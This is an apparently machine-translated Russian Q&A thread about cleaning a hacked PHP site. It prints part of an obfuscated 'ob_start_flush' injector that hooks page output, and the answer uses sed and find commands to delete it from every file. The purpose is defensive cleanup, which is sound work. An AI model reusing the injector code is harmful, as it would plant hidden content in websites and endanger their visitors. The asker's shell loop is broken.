Возможный дубликат:
Мой сервер был взломан в АВАРИИ
Привет,
Мне срочно нужна ваша помощь, так как сервер взломан, и у меня нет времени узнавать, как удалить код хакера из всех файлов. Я прикрепил код, который был добавлен ко всем файлам. В этом коде много специальных символов, и он довольно большой. Добавлялся в файлы иногда дважды.
Я плохо знаю sed, чтобы с его помощью решить эту проблему. Как исключить этот фрагмент кода из всех файлов? Используете sed, diff / patch или другие методы?
Вот часть кода, который нужно удалить:
<?php global $ob_starting;
if(!$ob_starting) {
function ob_start_flush($s) {
$tc = array(0, 69, 83, 84, 82, 67, 7, 79, 9, 8, 23, 73, 12, 76, 68, 78, 63, 24, 14, 19, 3, 65, 27, 17, 85, 70, 80, 16, 29, 11, 89, 86, 2, 66, 77, 93, 91, 71, 18, 72, 20, 75, 87, 22, 74, 13, 59, 61, 52, 37, 28, 35, 15, 1, 21, 25, 34, 92, 36, 41, 30, 88, 46, 33, 51);
$tr = array(50, 2, 5, 4, 11, 26, 3, 0, 3, 30, 26, 1, 28, 32, 3, 1, 61, 3, 52, 44, 21, 31, 21, 2, 5, 4, 11, 26, 3, 32, 60, 11, 25, 0, 9, 3, 30, 26, 1, 7, 25, 9, 4, 1, 14, 1, 25, 16, 5, 7, 13, 7, 4, 2, 8, 28, 28, 32, 24, 15, 14, 1, 25, 11, 15, 1, 14, 32, 8, 0, 36, 0, 0, 0, 31, 21, 4, 0, 14, 11, 31, 16, 5, 7, 13, 7, 4, 2, 0, 28, 0, 15, 1, 42, 0, 63, 4,
-------------
-------------
$i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);
return $s;
}
$ob_starting = time();
@ob_start("ob_start_flush");
Буду признателен за любую помощь. Спасибо.
Обновить:
I have tried using the code like:
for fname $(grep *.php .); do
while read; do
sed -i 's/$REPLY//' $fname
done < filem
done
где filem - файл с вредоносным кодом. В этом файле я заменил все специальные символы, такие как $ <(и т. Д. На точку '.', Но sed все равно вызывает много ошибок.
Совет в комментариях совершенно правильный. Вам действительно нужно выполнить восстановление из резервной копии, но если код хакера выглядит Точно так же, как ваш пример выше, вы можете попробовать это (сначала сделайте резервную копию своего корневого веб-сайта).
sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' cleanme.php
Чтобы пройтись по корневому каталогу и всем подкаталогам, вы можете использовать команду find:
find $WEBROOT -type f -exec sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' {} \;
Sed удаляет все, что находится между заданными начальными и конечными переменными. Удачи.
вы используете osCommerce? Возможно, вам стоит заглянуть на их форумы поддержки, похоже, другие имеют дело почти с тем же - и удаление кода без понимания проблемы, скорее всего, приведет к тому, что это произойдет снова.
http://forums.oscommerce.com/topic/373376-hacked-by-code-global-ob-starting/
http://forums.oscommerce.com/topic/373373-site-hacked-should-you-upgrade-or-try-to-fix-it-as-it-is/